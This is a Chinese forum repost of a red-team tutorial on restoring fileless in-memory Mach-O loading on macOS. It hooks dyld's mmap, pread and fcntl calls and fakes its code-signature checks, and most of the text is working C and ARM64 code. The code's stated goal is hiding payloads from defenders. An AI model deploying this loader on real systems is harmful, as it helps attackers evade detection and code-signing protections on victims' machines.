IOS逆向--恢复Dyld的内存加载方式

打印 上一主题 下一主题

主题 890|帖子 890|积分 2674

之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。
@roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。
作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。
因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。
NS Link Module有何与众不同
由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。
该函数的签名为:
  1. NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }
复制代码
该函数的第一个参数是ofi,它是用NS Create Object File Image From Memory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。
通过查看代码发现,最新版本的NS Link Module,会将osi所指向的内存写入磁盘。
  1. if ( ofi->memSource != nullptr ) {
  2.     ...
  3.     char        tempFileName[PATH_MAX];
  4.     const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");
  5.     if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
  6.         strlcpy(tempFileName, tmpDir, PATH_MAX);
  7.         if ( tmpDir[strlen(tmpDir) - 1] != '/' )
  8.             strlcat(tempFileName, "/", PATH_MAX);
  9.     }
  10.     else
  11.         strlcpy(tempFileName, "/tmp/", PATH_MAX);
  12.     strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
  13.     int fd = this->libSystemHelpers->mkstemp(tempFileName);
  14.     if ( fd != -1 ) {
  15.         ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);
  16.     }
  17.     ...
  18. }
复制代码
通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。
  1. ...
  2. ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);
  3. ...
复制代码
因此,从本质上讲,这也就使得NS Link Module成为了dlopen的一个封装器。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
那我们能否恢复dyld之前的内存加载特性呢?
我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢?
使用dyld进行hook
为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。
我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。

知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。
  1. ldr x8, _value
  2. br x8
  3. _value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location
复制代码
在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。
  1. void *getDyldBase(void) {
  2.    struct task_dyld_info dyld_info;
  3.    mach_vm_address_t image_infos;
  4.    struct dyld_all_image_infos *infos;
  5.    
  6.    mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
  7.    kern_return_t ret;
  8.    
  9.    ret = task_info(mach_task_self_,
  10.                    TASK_DYLD_INFO,
  11.                    (task_info_t)&dyld_info,
  12.                    &count);
  13.    
  14.    if (ret != KERN_SUCCESS) {
  15.        return NULL;
  16.    }
  17.    
  18.    image_infos = dyld_info.all_image_info_addr;
  19.    
  20.    infos = (struct dyld_all_image_infos *)image_infos;
  21.    return infos->dyldImageLoadAddress;
  22. }
复制代码
只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。
  1. bool searchAndPatch(char *base, char *signature, int length, void *target) {
  2.    
  3.    char *patchAddr = NULL;
  4.    kern_return_t kret;
  5.    
  6.    for(int i=0; i < 0x100000; i++) {
  7.        if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {
  8.            patchAddr = base + i;
  9.            break;
  10.        }
  11.    }
  12.    ...
复制代码
当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。
  1. kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
  2. if (kret != KERN_SUCCESS) {
  3.    return FALSE;
  4. }
复制代码
注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。
设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。
  1. // Copy our path
  2. memcpy(patchAddr, patch, sizeof(patch));
  3. // Set the br address for our hook call
  4. *(void **)((char*)patchAddr + 16) = target;
  5. // Return exec permission
  6. kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
  7. if (kret != KERN_SUCCESS) {
  8.     return FALSE;
  9. }
复制代码
现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。
由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。
[img=720,362.1301775147929]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302021106098.png[/img]
那么,既然如此,我们该如何处理我们的hook程序呢?
API模拟调用
有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。
如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。
首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。
如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。
  1. #define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"
  2. const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
  3.    char *alloc;
  4.    char filePath[PATH_MAX];
  5.    int newFlags;
  6.    
  7.    memset(filePath, 0, sizeof(filePath));
  8.    
  9.    // Check if the file is our "in-memory" file
  10.    if (fcntl(fd, F_GETPATH, filePath) != -1) {
  11.        if (strstr(filePath, FILENAME_SEARCH) > 0) {
  12.            
  13.            newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
  14.            if (addr != 0) {
  15.                newFlags |= MAP_FIXED;
  16.            }
  17.            
  18.            alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);
  19.            memcpy(alloc, memoryLoadedFile+offset, len);
  20.            vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);
  21.            return alloc;
  22.        }
  23.    }
  24.    
  25.    // If for another file, we pass through
  26.    return mmap(addr, len, prot, flags, fd, offset);
  27. }
复制代码
接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。
  1. ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) {
  2.     char filePath[PATH_MAX];
  3.    
  4.     memset(filePath, 0, sizeof(filePath));
  5.    
  6.     // Check if the file is our "in-memory" file
  7.     if (fcntl(fd, F_GETPATH, filePath) != -1) {
  8.         if (strstr(filePath, FILENAME_SEARCH) > 0) {
  9.             memcpy(buf, memoryLoadedFile+offset, nbyte);
  10.             return nbyte;
  11.         }
  12.     }
  13.    
  14.     // If for another file, we pass through
  15.     return pread(fd, buf, nbyte, offset);
  16. }
复制代码
最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。
[img=720,283.0628571428571]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302021106100.png[/img]
由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。
  1. int hookedFcntl(int fildes, int cmd, void* param) {
  2.    
  3.     char filePath[PATH_MAX];
  4.    
  5.     memset(filePath, 0, sizeof(filePath));
  6.    
  7.     // Check if the file is our "in-memory" file
  8.     if (fcntl(fildes, F_GETPATH, filePath) != -1) {
  9.         if (strstr(filePath, FILENAME_SEARCH) > 0) {
  10.             if (cmd == F_ADDFILESIGS_RETURN) {
  11.                 fsignatures_t *fsig = (fsignatures_t*)param;
  12.                
  13.                 // called to check that cert covers file.. so we'll make it cover everything ;)
  14.                 fsig->fs_file_start = 0xFFFFFFFF;
  15.                 return 0;
  16.             }
  17.             
  18.             // Signature sanity check by dyld
  19.             if (cmd == F_CHECK_LV) {
  20.                 // Just say everything is fine
  21.                 return 0;
  22.             }
  23.         }
  24.     }
  25.    
  26.     return fcntl(fildes, cmd, param);
  27. }
复制代码
有了以上这些,然后我们可以把这一切组合起来。
  1. int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {
  2.    @autoreleasepool {
  3.        char *dyldBase;
  4.        int fd;
  5.        int size;
  6.        void (*function)(void);
  7.        NSObjectFileImage fileImage;
  8.        
  9.        // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
  10.        size = readFile("/tmp/loadme", &memoryLoadedFile);
  11.        dyldBase = getDyldBase();
  12.        searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);
  13.        searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);
  14.        searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);
  15.        
  16.        // Set up blank content, same size as our Mach-O
  17.        char *fakeImage = (char *)malloc(size);
  18.        memset(fakeImage, 0x41, size);
  19.        
  20.        // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
  21.        fileImage = (NSObjectFileImage)malloc(1024);
  22.        *(void **)(((char*)fileImage+0x8)) = fakeImage;
  23.        *(void **)(((char*)fileImage+0x10)) = size;
  24.        
  25.        void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);
  26.        void *symbol = NSLookupSymbolInModule(module, "runme");
  27.        function = NSAddressOfSymbol(symbol);
  28.        function();
  29.    }
  30. }
复制代码
当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。
[img=720,139.12170639899622]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302021106101.png[/img]
但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。
[img=720,359.17808219178085]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302021106102.png[/img]
其他

所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。
事实证明,这个想法是正确的。比如:
  1. void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
  2. function = dlsym(a, "runme");
  3. function();
复制代码
而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。
[img=720,590.6352087114337]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302021106103.png[/img]
这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。
更多靶场实验练习、网安学习资料,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

刘俊凯

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表